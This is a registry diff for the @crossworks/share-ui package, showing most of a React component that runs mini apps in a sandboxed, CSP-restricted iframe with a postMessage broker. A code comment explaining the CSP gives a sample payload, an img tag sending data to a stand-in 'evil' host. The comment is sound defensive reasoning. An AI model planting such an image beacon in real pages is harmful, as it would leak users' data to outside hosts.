@crossworks/share-ui 0.230.43
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE.md +135 -0
- package/package.json +68 -0
- package/src/app-bridge-protocol.ts +115 -0
- package/src/app-presenter.tsx +25 -0
- package/src/app-sandbox.tsx +552 -0
- package/src/appearance.ts +192 -0
- package/src/avatar.test.ts +229 -0
- package/src/avatar.ts +731 -0
- package/src/backgrounds.test.ts +119 -0
- package/src/backgrounds.ts +118 -0
- package/src/draw-presenter.tsx +39 -0
- package/src/event-presenter.tsx +62 -0
- package/src/file-presenter.tsx +76 -0
- package/src/formula-calculator.tsx +209 -0
- package/src/formula-presenter.test.ts +128 -0
- package/src/formula-presenter.tsx +301 -0
- package/src/help-topics.ts +104 -0
- package/src/lib/ink-audit.test.ts +314 -0
- package/src/lib/theme-css-blocks.ts +26 -0
- package/src/lib/theme-generator.test.ts +179 -0
- package/src/lib/theme-registry.gen.ts +352 -0
- package/src/lib/themes.test.ts +308 -0
- package/src/lib/themes.ts +75 -0
- package/src/lib/utils.ts +6 -0
- package/src/nav-items.ts +225 -0
- package/src/note-presenter.tsx +14 -0
- package/src/page-outline.tsx +127 -0
- package/src/table-presenter.tsx +226 -0
- package/src/task-presenter.tsx +60 -0
- package/src/ui/button.tsx +50 -0
- package/src/ui/input.tsx +18 -0
- package/src/ui/label.tsx +20 -0
- package/src/view-payload.ts +82 -0
- package/styles/app.css +1098 -0
- package/styles/themes.css +6198 -0
- package/themes/generate.d.mts +11 -0
- package/themes/generate.mjs +618 -0
- package/themes/model.d.mts +24 -0
- package/themes/model.mjs +213 -0
- package/themes/preview.html +145 -0
- package/themes/seeds.d.mts +16 -0
- package/themes/seeds.mjs +3694 -0
- package/tsconfig.json +15 -0
- package/tsconfig.tsbuildinfo +1 -0
|
@@ -0,0 +1,552 @@
|
|
|
1
|
+
'use client';
|
|
2
|
+
|
|
3
|
+
/**
|
|
4
|
+
* Runs a built mini app inside a sandboxed iframe. The app's bundle is fetched
|
|
5
|
+
* (authenticated, same-origin) and INLINED into the iframe's srcdoc, so the
|
|
6
|
+
* iframe runs with an opaque origin (sandbox="allow-scripts", NO
|
|
7
|
+
* allow-same-origin) — it can't read host cookies/DOM/storage. Its only channel
|
|
8
|
+
* is postMessage to this parent, which brokers tool + sqlite calls server-side.
|
|
9
|
+
*
|
|
10
|
+
* Theme parity: we inline the parent's already-compiled CSS and copy the active
|
|
11
|
+
* theme attrs (class + data-color-theme) onto the iframe <html>, so the app
|
|
12
|
+
* matches the product look (incl. dark mode + colour theme) with no network.
|
|
13
|
+
*/
|
|
14
|
+
import { useCallback, useEffect, useRef, useState } from 'react';
|
|
15
|
+
import {
|
|
16
|
+
isFromApp,
|
|
17
|
+
isHubNavTarget,
|
|
18
|
+
type BridgeReq,
|
|
19
|
+
type HubData,
|
|
20
|
+
type HubNavTarget,
|
|
21
|
+
} from './app-bridge-protocol';
|
|
22
|
+
|
|
23
|
+
type Status = 'loading' | 'ready' | 'nobuild' | 'error';
|
|
24
|
+
|
|
25
|
+
/** Serialize every same-origin stylesheet the host has loaded (Tailwind output
|
|
26
|
+
* + theme vars). Cross-origin sheets throw on .cssRules — skipped. Cached: the
|
|
27
|
+
* app's CSS doesn't change within a session. */
|
|
28
|
+
/** The shared-runtime import map (specifier → hashed `/app-runtime` URL),
|
|
29
|
+
* fetched once per session. The app's bundle imports react/react-dom/the kit/
|
|
30
|
+
* @host as BARE specifiers (the bundler marks them external); this map — injected
|
|
31
|
+
* into the srcdoc — resolves them to the ONE shared runtime, so the browser
|
|
32
|
+
* fetches + parses React once across every app + reload instead of each app
|
|
33
|
+
* re-bundling it. manifest.json is public + same-origin (see middleware). */
|
|
34
|
+
let importMapPromise: Promise<string> | null = null;
|
|
35
|
+
function loadImportMap(): Promise<string> {
|
|
36
|
+
if (!importMapPromise) {
|
|
37
|
+
importMapPromise = fetch('/app-runtime/manifest.json')
|
|
38
|
+
.then((r) => {
|
|
39
|
+
if (!r.ok) throw new Error(`app-runtime manifest ${r.status}`);
|
|
40
|
+
return r.json() as Promise<{ imports: Record<string, string> }>;
|
|
41
|
+
})
|
|
42
|
+
.then((m) => JSON.stringify({ imports: m.imports }))
|
|
43
|
+
.catch((e) => {
|
|
44
|
+
importMapPromise = null; // let the next mount retry
|
|
45
|
+
throw e;
|
|
46
|
+
});
|
|
47
|
+
}
|
|
48
|
+
return importMapPromise;
|
|
49
|
+
}
|
|
50
|
+
|
|
51
|
+
let cssCache: string | null = null;
|
|
52
|
+
function captureHostCss(): string {
|
|
53
|
+
if (cssCache !== null) return cssCache;
|
|
54
|
+
let out = '';
|
|
55
|
+
for (const sheet of Array.from(document.styleSheets)) {
|
|
56
|
+
try {
|
|
57
|
+
for (const rule of Array.from(sheet.cssRules)) out += rule.cssText + '\n';
|
|
58
|
+
} catch {
|
|
59
|
+
/* cross-origin sheet — skip */
|
|
60
|
+
}
|
|
61
|
+
}
|
|
62
|
+
cssCache = out;
|
|
63
|
+
return out;
|
|
64
|
+
}
|
|
65
|
+
|
|
66
|
+
/** The host stylesheet markup to drop into the iframe <head>. We LINK the same
|
|
67
|
+
* stylesheet files the host already loaded (so the browser reuses its cached,
|
|
68
|
+
* already-parsed copy instead of re-parsing ~400 KB of inlined CSS per srcdoc)
|
|
69
|
+
* and inline only the small dynamic <style> tags (theme vars next-themes
|
|
70
|
+
* injects, etc.). Falls back to a full inline capture when the host exposes no
|
|
71
|
+
* <link> stylesheets (e.g. some dev setups inline everything). */
|
|
72
|
+
function hostStyleMarkup(): string {
|
|
73
|
+
const links = Array.from(document.querySelectorAll<HTMLLinkElement>('link[rel="stylesheet"]'))
|
|
74
|
+
.map((l) => l.href)
|
|
75
|
+
.filter(Boolean);
|
|
76
|
+
if (links.length === 0) return `<style>${captureHostCss()}</style>`;
|
|
77
|
+
const inline = Array.from(document.querySelectorAll('style'))
|
|
78
|
+
.map((s) => s.textContent || '')
|
|
79
|
+
.join('\n');
|
|
80
|
+
const linkTags = links.map((href) => `<link rel="stylesheet" href="${href}" />`).join('\n');
|
|
81
|
+
return `${linkTags}\n<style>${inline}</style>`;
|
|
82
|
+
}
|
|
83
|
+
|
|
84
|
+
// Host-injected "inspect mode" overlay. Lives in the iframe but is NOT part of
|
|
85
|
+
// the app bundle, so it works on every app with no rebuild and stays a host
|
|
86
|
+
// concern. When the parent posts {kind:'inspect',on:true}, hovering outlines the
|
|
87
|
+
// nearest [data-app-region] ancestor and clicking locks it (clicking the same
|
|
88
|
+
// one clears it). The locked region is posted back as {kind:'select'}; the
|
|
89
|
+
// parent feeds it to Appsmith as focusRegionIds. Esc exits. Pure DOM, defensive.
|
|
90
|
+
const INSPECTOR = `
|
|
91
|
+
(function(){
|
|
92
|
+
var on=false, locked=null, hovered=null, lbl=null;
|
|
93
|
+
function regionOf(el){
|
|
94
|
+
while(el && el.nodeType===1 && el!==document.body){
|
|
95
|
+
if(el.getAttribute && el.hasAttribute('data-app-region')) return el;
|
|
96
|
+
el=el.parentElement;
|
|
97
|
+
}
|
|
98
|
+
return null;
|
|
99
|
+
}
|
|
100
|
+
function q(id){ try{ return id ? document.querySelector('[data-app-region="'+(window.CSS&&CSS.escape?CSS.escape(id):id)+'"]') : null; }catch(e){ return null; } }
|
|
101
|
+
function label(){
|
|
102
|
+
if(!lbl){
|
|
103
|
+
lbl=document.createElement('div');
|
|
104
|
+
lbl.style.cssText='position:fixed;z-index:2147483647;pointer-events:none;display:none;font:500 11px/1.4 ui-sans-serif,system-ui,sans-serif;padding:2px 6px;border-radius:4px;background:var(--ring,#3b82f6);color:#fff;box-shadow:0 1px 4px rgba(0,0,0,.35);white-space:nowrap;';
|
|
105
|
+
document.body.appendChild(lbl);
|
|
106
|
+
}
|
|
107
|
+
return lbl;
|
|
108
|
+
}
|
|
109
|
+
function paintLocked(){
|
|
110
|
+
var prev=document.querySelectorAll('[data-app-locked]');
|
|
111
|
+
for(var i=0;i<prev.length;i++){ prev[i].removeAttribute('data-app-locked'); prev[i].style.outline=''; prev[i].style.outlineOffset=''; }
|
|
112
|
+
var el=q(locked);
|
|
113
|
+
if(el){ el.setAttribute('data-app-locked','1'); el.style.outline='2px solid var(--ring,#3b82f6)'; el.style.outlineOffset='1px'; }
|
|
114
|
+
}
|
|
115
|
+
function clearHover(){
|
|
116
|
+
if(hovered && !hovered.hasAttribute('data-app-locked')){ hovered.style.outline=''; hovered.style.outlineOffset=''; }
|
|
117
|
+
hovered=null;
|
|
118
|
+
if(lbl) lbl.style.display='none';
|
|
119
|
+
}
|
|
120
|
+
function onMove(e){
|
|
121
|
+
if(!on) return;
|
|
122
|
+
var el=regionOf(e.target);
|
|
123
|
+
if(el===hovered) return;
|
|
124
|
+
clearHover();
|
|
125
|
+
if(!el) return;
|
|
126
|
+
hovered=el;
|
|
127
|
+
if(!el.hasAttribute('data-app-locked')){ el.style.outline='2px dashed var(--ring,#3b82f6)'; el.style.outlineOffset='1px'; }
|
|
128
|
+
var r=el.getBoundingClientRect(), L=label();
|
|
129
|
+
L.textContent=el.getAttribute('data-app-region');
|
|
130
|
+
L.style.display='block';
|
|
131
|
+
L.style.left=Math.max(2,r.left)+'px';
|
|
132
|
+
L.style.top=Math.max(2,r.top-20)+'px';
|
|
133
|
+
}
|
|
134
|
+
function onClick(e){
|
|
135
|
+
if(!on) return;
|
|
136
|
+
var el=regionOf(e.target);
|
|
137
|
+
if(!el) return;
|
|
138
|
+
e.preventDefault(); e.stopPropagation(); if(e.stopImmediatePropagation) e.stopImmediatePropagation();
|
|
139
|
+
var id=el.getAttribute('data-app-region');
|
|
140
|
+
locked=(locked===id)?null:id;
|
|
141
|
+
clearHover(); paintLocked();
|
|
142
|
+
window.parent.postMessage({ v:1, kind:'select', regionId:locked, label:locked }, '*');
|
|
143
|
+
onMove(e);
|
|
144
|
+
}
|
|
145
|
+
function setOn(v){ on=v; document.body.style.cursor=v?'crosshair':''; if(!v) clearHover(); }
|
|
146
|
+
window.addEventListener('message', function(e){
|
|
147
|
+
if(e.source!==window.parent) return;
|
|
148
|
+
var m=e.data; if(!m||m.v!==1) return;
|
|
149
|
+
if(m.kind==='inspect'){ setOn(!!m.on); return; }
|
|
150
|
+
if(m.kind==='select'){ locked=m.regionId||null; clearHover(); paintLocked(); return; }
|
|
151
|
+
if(m.kind==='theme'){ var h=document.documentElement; h.className=m.cls||''; if(m.colorTheme){ h.setAttribute('data-color-theme', m.colorTheme); } else { h.removeAttribute('data-color-theme'); } return; }
|
|
152
|
+
});
|
|
153
|
+
document.addEventListener('mousemove', onMove, true);
|
|
154
|
+
document.addEventListener('click', onClick, true);
|
|
155
|
+
document.addEventListener('keydown', function(e){ if(on && e.key==='Escape'){ setOn(false); window.parent.postMessage({v:1,kind:'inspect',on:false},'*'); } });
|
|
156
|
+
})();
|
|
157
|
+
`;
|
|
158
|
+
|
|
159
|
+
function buildSrcDoc(bundleCode: string, importMapJson: string, viewport: boolean): string {
|
|
160
|
+
const html = document.documentElement;
|
|
161
|
+
const cls = html.className || '';
|
|
162
|
+
const colorTheme = html.dataset.colorTheme
|
|
163
|
+
? ` data-color-theme="${html.dataset.colorTheme}"`
|
|
164
|
+
: '';
|
|
165
|
+
const styleMarkup = hostStyleMarkup();
|
|
166
|
+
// CSP: the app may only render — NO network of its own. `connect-src 'none'`
|
|
167
|
+
// blocks fetch/XHR/WebSocket, but img/font loads are network too, so they're
|
|
168
|
+
// held to inline sources only (data:/blob:) — a wildcard there would be an
|
|
169
|
+
// exfil channel (`<img src="https://evil/?d=…">`) despite connect-src 'none'.
|
|
170
|
+
// The app's only egress is the postMessage bridge to the parent, which
|
|
171
|
+
// brokers tool + sqlite calls server-side. Inline style + script are ours.
|
|
172
|
+
//
|
|
173
|
+
// The iframe has an opaque origin, so CSP `'self'` matches NOTHING here; we
|
|
174
|
+
// name the host origin + path explicitly, scoped tight so neither is a general
|
|
175
|
+
// egress channel: `script-src` allows ONLY `<origin>/app-runtime/` (the shared
|
|
176
|
+
// React/kit/host runtime the import map points at); `style-src` allows ONLY
|
|
177
|
+
// `<origin>/_next/` (the host's compiled stylesheet, linked not inlined).
|
|
178
|
+
//
|
|
179
|
+
// `font-src` MIRRORS `style-src`, and must keep mirroring it. Allowing the
|
|
180
|
+
// stylesheet while refusing the faces it declares is self-defeating: the host
|
|
181
|
+
// sheet carries KaTeX's `@font-face` rules (katex.min.css is imported by the
|
|
182
|
+
// client layout), whose URLs resolve to `<origin>/_next/static/media/…`. With
|
|
183
|
+
// `font-src data:` alone every mini-app logged a CSP violation on load and any
|
|
184
|
+
// app rendering maths fell back to system fonts. This widens nothing: it
|
|
185
|
+
// permits fonts from exactly the path already trusted for styles.
|
|
186
|
+
const origin = location.origin;
|
|
187
|
+
const csp =
|
|
188
|
+
`default-src 'none'; style-src 'unsafe-inline' ${origin}/_next/; ` +
|
|
189
|
+
`script-src 'unsafe-inline' ${origin}/app-runtime/; ` +
|
|
190
|
+
`img-src data: blob:; font-src data: ${origin}/_next/; ` +
|
|
191
|
+
"connect-src 'none'; base-uri 'none'; form-action 'none'";
|
|
192
|
+
return `<!doctype html>
|
|
193
|
+
<html class="${cls}"${colorTheme}>
|
|
194
|
+
<head>
|
|
195
|
+
<meta charset="utf-8" />
|
|
196
|
+
<meta http-equiv="Content-Security-Policy" content="${csp}" />
|
|
197
|
+
<script type="importmap">${importMapJson}</script>
|
|
198
|
+
${styleMarkup}
|
|
199
|
+
<style>/* Paint the iframe canvas with the theme background, NOT transparent: a
|
|
200
|
+
sandboxed (opaque-origin) iframe renders WHITE where it's transparent, so any
|
|
201
|
+
gap between the app content and the iframe height showed a white strip. With
|
|
202
|
+
the themed background, any such gap is invisible (matches the app + host). */
|
|
203
|
+
html,body{margin:0;background:var(--background)}#root{padding:0}
|
|
204
|
+
/* Themed scrollbars for the WHOLE app. The host only styles scrollbars behind an
|
|
205
|
+
opt-in .scrollbar-thin class, so an app's own scroll containers otherwise fall
|
|
206
|
+
back to the default wide OS scrollbar with a white/grey track that clashes with
|
|
207
|
+
the theme. Apply the thin, theme-token look to every scroller inside the iframe
|
|
208
|
+
(scoped here, so the host is untouched). Vars resolve from the inlined theme. */
|
|
209
|
+
*{scrollbar-width:thin;scrollbar-color:color-mix(in oklab,var(--muted-foreground) 30%,transparent) transparent}
|
|
210
|
+
::-webkit-scrollbar{width:10px;height:10px}
|
|
211
|
+
::-webkit-scrollbar-track{background:transparent}
|
|
212
|
+
::-webkit-scrollbar-thumb{background-color:color-mix(in oklab,var(--muted-foreground) 30%,transparent);border-radius:6px;border:2px solid transparent;background-clip:padding-box}
|
|
213
|
+
::-webkit-scrollbar-thumb:hover{background-color:color-mix(in oklab,var(--muted-foreground) 50%,transparent);background-clip:padding-box}
|
|
214
|
+
::-webkit-scrollbar-corner{background:transparent}
|
|
215
|
+
${
|
|
216
|
+
viewport
|
|
217
|
+
? `/* Viewport frame: the iframe IS the viewport, so viewport-height utilities
|
|
218
|
+
are real and the app owns its own layout + scrolling. Full-height plumbing
|
|
219
|
+
so h-full works from the root down. */
|
|
220
|
+
html,body,#root{height:100%}
|
|
221
|
+
body{overflow:auto}`
|
|
222
|
+
: `/* Card frame: the app is embedded in an auto-sized iframe with no real
|
|
223
|
+
viewport, so viewport-height utilities would inflate it into a tall,
|
|
224
|
+
mostly-empty box (a small app leaves a big blank area below). Collapse them
|
|
225
|
+
to content height — the iframe then hugs the actual content. Belt-and-braces
|
|
226
|
+
with the authoring rule that tells Appsmith not to use these. */
|
|
227
|
+
.min-h-screen,.min-h-dvh,.min-h-svh,.min-h-lvh{min-height:0!important}
|
|
228
|
+
.h-screen,.h-dvh,.h-svh,.h-lvh{height:auto!important}`
|
|
229
|
+
}</style>
|
|
230
|
+
</head>
|
|
231
|
+
<body class="bg-background text-foreground">
|
|
232
|
+
<div id="root"></div>
|
|
233
|
+
<script type="module">${bundleCode}</script>
|
|
234
|
+
<script>${INSPECTOR}</script>
|
|
235
|
+
</body>
|
|
236
|
+
</html>`;
|
|
237
|
+
}
|
|
238
|
+
|
|
239
|
+
export function AppSandbox({
|
|
240
|
+
appId,
|
|
241
|
+
shareToken,
|
|
242
|
+
frame = 'card',
|
|
243
|
+
reloadKey = 0,
|
|
244
|
+
onError,
|
|
245
|
+
inspect = false,
|
|
246
|
+
selectedRegionId = null,
|
|
247
|
+
onSelect,
|
|
248
|
+
onInspectChange,
|
|
249
|
+
hub,
|
|
250
|
+
apiBase: apiBaseOverride,
|
|
251
|
+
fetcher,
|
|
252
|
+
onLoadFailure,
|
|
253
|
+
}: {
|
|
254
|
+
appId: string;
|
|
255
|
+
/** When set, render in share mode: the bundle + tool/db brokers are
|
|
256
|
+
* fetched from /s/<token>/* (share-authed, published build only) instead of
|
|
257
|
+
* the session-authed /api/apps/<id>/* routes. */
|
|
258
|
+
shareToken?: string;
|
|
259
|
+
/** How the app is framed.
|
|
260
|
+
* 'card' — legacy inline embed: the iframe auto-sizes to the app's
|
|
261
|
+
* content inside a bordered card (list previews).
|
|
262
|
+
* 'viewport' — the iframe fills its parent (give the parent a real height,
|
|
263
|
+
* e.g. h-dvh or flex-1 min-h-0); the app owns its internal
|
|
264
|
+
* layout + scrolling, and viewport-height utilities are real. */
|
|
265
|
+
frame?: 'card' | 'viewport';
|
|
266
|
+
/** Bump to force a re-fetch + re-render (e.g. after a build/publish). */
|
|
267
|
+
reloadKey?: number;
|
|
268
|
+
onError?: (message: string) => void;
|
|
269
|
+
/** When true, hovering the preview outlines [data-app-region]s and clicking
|
|
270
|
+
* one locks it (inspect mode). */
|
|
271
|
+
inspect?: boolean;
|
|
272
|
+
/** The host-held locked selection — pushed down to keep the iframe's outline
|
|
273
|
+
* in sync (e.g. cleared when the user dismisses the focus chip). */
|
|
274
|
+
selectedRegionId?: string | null;
|
|
275
|
+
/** The user locked or cleared a region in the preview (null = cleared). */
|
|
276
|
+
onSelect?: (regionId: string | null) => void;
|
|
277
|
+
/** The iframe changed inspect state itself (e.g. Esc to exit). */
|
|
278
|
+
onInspectChange?: (on: boolean) => void;
|
|
279
|
+
/** Team-hub host API — passed ONLY by the /team shell. `getData` answers the
|
|
280
|
+
* app's `hub.get` locally from the payload the shell already fetched (no new
|
|
281
|
+
* server surface); `onNav` handles the app's validated `hub.nav` intents
|
|
282
|
+
* (open chat / open a briefing — the SHELL owns those views). When absent,
|
|
283
|
+
* `hub.get` is rejected and `hub.nav` ignored, so a hub app rendered on any
|
|
284
|
+
* other surface degrades to its local preview. */
|
|
285
|
+
hub?: {
|
|
286
|
+
getData: () => HubData;
|
|
287
|
+
onNav: (target: HubNavTarget) => void;
|
|
288
|
+
};
|
|
289
|
+
/** Absolute API base override — the split client's hub passes the SERVER
|
|
290
|
+
* origin's /s/<token> here so the parent-page broker fetches cross origins.
|
|
291
|
+
* Absent ⇒ the same-origin derivation below (unchanged). */
|
|
292
|
+
apiBase?: string;
|
|
293
|
+
/** Fetch used for the bundle/tool-broker/db-broker calls ONLY — the split
|
|
294
|
+
* client injects a bearer-attaching wrapper (a cross-origin broker call
|
|
295
|
+
* can't ride a cookie). Defaults to plain fetch. */
|
|
296
|
+
fetcher?: (input: string, init?: RequestInit) => Promise<Response>;
|
|
297
|
+
/** The bundle could not be fetched/rendered (missing build or load error).
|
|
298
|
+
* The /team shell uses this to fall back to the built-in hub instead of
|
|
299
|
+
* showing members a broken slot. */
|
|
300
|
+
onLoadFailure?: () => void;
|
|
301
|
+
}) {
|
|
302
|
+
// Public share mode swaps the session-authed API base for the token-authed
|
|
303
|
+
// public one; the route suffixes (bundle / tool-broker / db-broker) match.
|
|
304
|
+
// An explicit apiBase (the split client's cross-origin hub) wins outright.
|
|
305
|
+
const apiBase = apiBaseOverride ?? (shareToken ? `/s/${shareToken}` : `/api/apps/${appId}`);
|
|
306
|
+
const iframeRef = useRef<HTMLIFrameElement>(null);
|
|
307
|
+
const [status, setStatus] = useState<Status>('loading');
|
|
308
|
+
const [height, setHeight] = useState(320);
|
|
309
|
+
// Whether THIS bundle load ever reached ready — distinguishes a boot crash
|
|
310
|
+
// (error before ready ⇒ load failure) from a runtime error after boot.
|
|
311
|
+
const everReadyRef = useRef(false);
|
|
312
|
+
|
|
313
|
+
const postToFrame = useCallback((msg: unknown) => {
|
|
314
|
+
iframeRef.current?.contentWindow?.postMessage(msg, '*');
|
|
315
|
+
}, []);
|
|
316
|
+
|
|
317
|
+
// Hold the callbacks in refs so effects can call the latest without listing
|
|
318
|
+
// them as deps. Parents pass inline closures (e.g. onError={(m)=>toast(m)})
|
|
319
|
+
// that change identity every render — without this, typing in the Assist box
|
|
320
|
+
// re-ran the bundle-fetch effect below and reloaded the iframe (white flash).
|
|
321
|
+
// `fetcher` rides along for the same reason (the split hub passes an inline
|
|
322
|
+
// bearer-attaching wrapper); the default stays a plain window-bound fetch.
|
|
323
|
+
const cbRef = useRef({ onError, onSelect, onInspectChange, hub, onLoadFailure });
|
|
324
|
+
cbRef.current = { onError, onSelect, onInspectChange, hub, onLoadFailure };
|
|
325
|
+
const fetcherRef = useRef(fetcher);
|
|
326
|
+
fetcherRef.current = fetcher;
|
|
327
|
+
const doFetch = useCallback(
|
|
328
|
+
(input: string, init?: RequestInit) =>
|
|
329
|
+
fetcherRef.current ? fetcherRef.current(input, init) : fetch(input, init),
|
|
330
|
+
[],
|
|
331
|
+
);
|
|
332
|
+
|
|
333
|
+
// Push inspect-mode + the locked selection down whenever they change or the
|
|
334
|
+
// app (re)becomes ready, so a fresh iframe inherits the current state.
|
|
335
|
+
useEffect(() => {
|
|
336
|
+
if (status !== 'ready') return;
|
|
337
|
+
postToFrame({ v: 1, kind: 'inspect', on: inspect });
|
|
338
|
+
}, [inspect, status, postToFrame]);
|
|
339
|
+
useEffect(() => {
|
|
340
|
+
if (status !== 'ready') return;
|
|
341
|
+
postToFrame({ v: 1, kind: 'select', regionId: selectedRegionId });
|
|
342
|
+
}, [selectedRegionId, status, postToFrame]);
|
|
343
|
+
|
|
344
|
+
// Mirror the host's live theme (the <html> class + data-color-theme) into the
|
|
345
|
+
// iframe so a dark/light or colour-theme switch restyles a RUNNING app without
|
|
346
|
+
// a reload — the srcdoc only baked in the theme as of mount. Sync once on ready
|
|
347
|
+
// (covers a change between srcdoc build and mount), then on every host change.
|
|
348
|
+
useEffect(() => {
|
|
349
|
+
if (status !== 'ready') return;
|
|
350
|
+
const send = () => {
|
|
351
|
+
const h = document.documentElement;
|
|
352
|
+
postToFrame({
|
|
353
|
+
v: 1,
|
|
354
|
+
kind: 'theme',
|
|
355
|
+
cls: h.className || '',
|
|
356
|
+
colorTheme: h.dataset.colorTheme ?? null,
|
|
357
|
+
});
|
|
358
|
+
};
|
|
359
|
+
send();
|
|
360
|
+
const obs = new MutationObserver(send);
|
|
361
|
+
obs.observe(document.documentElement, {
|
|
362
|
+
attributes: true,
|
|
363
|
+
attributeFilter: ['class', 'data-color-theme'],
|
|
364
|
+
});
|
|
365
|
+
return () => obs.disconnect();
|
|
366
|
+
}, [status, postToFrame]);
|
|
367
|
+
|
|
368
|
+
// Broker a request from the app and post the correlated response back.
|
|
369
|
+
const handleRequest = useCallback(
|
|
370
|
+
async (req: BridgeReq) => {
|
|
371
|
+
const reply = (res: { ok: boolean; output?: unknown; error?: string }) => {
|
|
372
|
+
iframeRef.current?.contentWindow?.postMessage({ v: 1, id: req.id, ...res }, '*');
|
|
373
|
+
};
|
|
374
|
+
try {
|
|
375
|
+
if (req.kind === 'hub.get') {
|
|
376
|
+
// Answered locally — the /team shell already holds the hub payload.
|
|
377
|
+
// No hub prop ⇒ not the /team surface ⇒ reject so the app can render
|
|
378
|
+
// its off-hub preview instead of waiting forever.
|
|
379
|
+
const hubApi = cbRef.current.hub;
|
|
380
|
+
if (hubApi) reply({ ok: true, output: hubApi.getData() });
|
|
381
|
+
else reply({ ok: false, error: 'hub API is only available on the /team surface' });
|
|
382
|
+
return;
|
|
383
|
+
}
|
|
384
|
+
if (req.kind === 'tool.call') {
|
|
385
|
+
const r = await doFetch(`${apiBase}/tool-broker`, {
|
|
386
|
+
method: 'POST',
|
|
387
|
+
headers: { 'content-type': 'application/json' },
|
|
388
|
+
body: JSON.stringify({ slug: req.slug, input: req.input }),
|
|
389
|
+
});
|
|
390
|
+
const data = await r.json();
|
|
391
|
+
// 403 == the slug isn't in the app's declared tools. That's a wiring
|
|
392
|
+
// bug, not a transient failure — surface it plainly to the builder
|
|
393
|
+
// even if the app's own code swallows the rejection.
|
|
394
|
+
if (r.status === 403 && data?.ok === false) {
|
|
395
|
+
cbRef.current.onError?.(
|
|
396
|
+
`This app tried to use the tool “${req.slug}”, which it hasn't declared. ` +
|
|
397
|
+
`Add it to the app's tools (app_tools_set) — or ask Appsmith to — before it can run.`,
|
|
398
|
+
);
|
|
399
|
+
}
|
|
400
|
+
reply(data);
|
|
401
|
+
return;
|
|
402
|
+
}
|
|
403
|
+
// db.query | db.exec
|
|
404
|
+
const op = req.kind === 'db.query' ? 'query' : 'exec';
|
|
405
|
+
const r = await doFetch(`${apiBase}/db-broker`, {
|
|
406
|
+
method: 'POST',
|
|
407
|
+
headers: { 'content-type': 'application/json' },
|
|
408
|
+
body: JSON.stringify({ op, sql: req.sql, params: req.params ?? [] }),
|
|
409
|
+
});
|
|
410
|
+
reply(await r.json());
|
|
411
|
+
} catch (err) {
|
|
412
|
+
reply({ ok: false, error: err instanceof Error ? err.message : String(err) });
|
|
413
|
+
}
|
|
414
|
+
},
|
|
415
|
+
[apiBase, doFetch],
|
|
416
|
+
);
|
|
417
|
+
|
|
418
|
+
// Listen for messages from THIS iframe only.
|
|
419
|
+
useEffect(() => {
|
|
420
|
+
const onMessage = (e: MessageEvent) => {
|
|
421
|
+
if (e.source !== iframeRef.current?.contentWindow) return;
|
|
422
|
+
const m = e.data;
|
|
423
|
+
if (!isFromApp(m)) return;
|
|
424
|
+
if (m.kind === 'ready') {
|
|
425
|
+
setStatus('ready');
|
|
426
|
+
everReadyRef.current = true;
|
|
427
|
+
return;
|
|
428
|
+
}
|
|
429
|
+
if (m.kind === 'resize') {
|
|
430
|
+
// Viewport frames ignore content-height reports — the iframe is sized
|
|
431
|
+
// by its container and the app scrolls itself.
|
|
432
|
+
if (frame !== 'viewport') setHeight(Math.max(80, Math.min(4000, Math.ceil(m.height))));
|
|
433
|
+
return;
|
|
434
|
+
}
|
|
435
|
+
if (m.kind === 'error') {
|
|
436
|
+
cbRef.current.onError?.(m.message);
|
|
437
|
+
// An error BEFORE the app ever became ready is a mount/boot crash (the
|
|
438
|
+
// kit's ErrorBoundary posts it synchronously during the first render,
|
|
439
|
+
// ahead of the ready signal) — a load failure, not a runtime hiccup.
|
|
440
|
+
if (!everReadyRef.current) cbRef.current.onLoadFailure?.();
|
|
441
|
+
return;
|
|
442
|
+
}
|
|
443
|
+
if (m.kind === 'select') {
|
|
444
|
+
cbRef.current.onSelect?.(m.regionId);
|
|
445
|
+
return;
|
|
446
|
+
}
|
|
447
|
+
if (m.kind === 'inspect') {
|
|
448
|
+
cbRef.current.onInspectChange?.(m.on);
|
|
449
|
+
return;
|
|
450
|
+
}
|
|
451
|
+
if (m.kind === 'hub.nav') {
|
|
452
|
+
// Validate before navigating — never act on a malformed message from a
|
|
453
|
+
// (possibly buggy) app bundle. Ignored off the /team surface.
|
|
454
|
+
if (isHubNavTarget(m.target)) cbRef.current.hub?.onNav(m.target);
|
|
455
|
+
return;
|
|
456
|
+
}
|
|
457
|
+
// A request needing a response.
|
|
458
|
+
void handleRequest(m);
|
|
459
|
+
};
|
|
460
|
+
window.addEventListener('message', onMessage);
|
|
461
|
+
return () => window.removeEventListener('message', onMessage);
|
|
462
|
+
}, [handleRequest, frame]);
|
|
463
|
+
|
|
464
|
+
// Ready watchdog: a bundle that FETCHES fine but never boots (module-level
|
|
465
|
+
// throw, an import-map chunk failing inside the opaque iframe) leaves status
|
|
466
|
+
// on 'loading' forever — the fetch error paths below never see it. Give the
|
|
467
|
+
// app a generous window to post `ready`, then report a load failure so a
|
|
468
|
+
// hub-surface parent can fall back instead of pinning members on a spinner.
|
|
469
|
+
useEffect(() => {
|
|
470
|
+
if (status !== 'loading') return;
|
|
471
|
+
const t = setTimeout(() => cbRef.current.onLoadFailure?.(), 10_000);
|
|
472
|
+
return () => clearTimeout(t);
|
|
473
|
+
}, [status, reloadKey, apiBase]);
|
|
474
|
+
|
|
475
|
+
// Fetch the bundle and (re)render into the iframe.
|
|
476
|
+
useEffect(() => {
|
|
477
|
+
let cancelled = false;
|
|
478
|
+
setStatus('loading');
|
|
479
|
+
everReadyRef.current = false;
|
|
480
|
+
Promise.all([doFetch(`${apiBase}/bundle`), loadImportMap()])
|
|
481
|
+
.then(async ([r, importMap]) => {
|
|
482
|
+
if (cancelled) return;
|
|
483
|
+
if (r.status === 404) {
|
|
484
|
+
setStatus('nobuild');
|
|
485
|
+
cbRef.current.onLoadFailure?.();
|
|
486
|
+
return;
|
|
487
|
+
}
|
|
488
|
+
if (!r.ok) {
|
|
489
|
+
setStatus('error');
|
|
490
|
+
cbRef.current.onError?.(`bundle load failed (${r.status})`);
|
|
491
|
+
cbRef.current.onLoadFailure?.();
|
|
492
|
+
return;
|
|
493
|
+
}
|
|
494
|
+
const code = await r.text();
|
|
495
|
+
if (cancelled || !iframeRef.current) return;
|
|
496
|
+
iframeRef.current.srcdoc = buildSrcDoc(code, importMap, frame === 'viewport');
|
|
497
|
+
})
|
|
498
|
+
.catch((err) => {
|
|
499
|
+
if (cancelled) return;
|
|
500
|
+
setStatus('error');
|
|
501
|
+
cbRef.current.onError?.(err instanceof Error ? err.message : String(err));
|
|
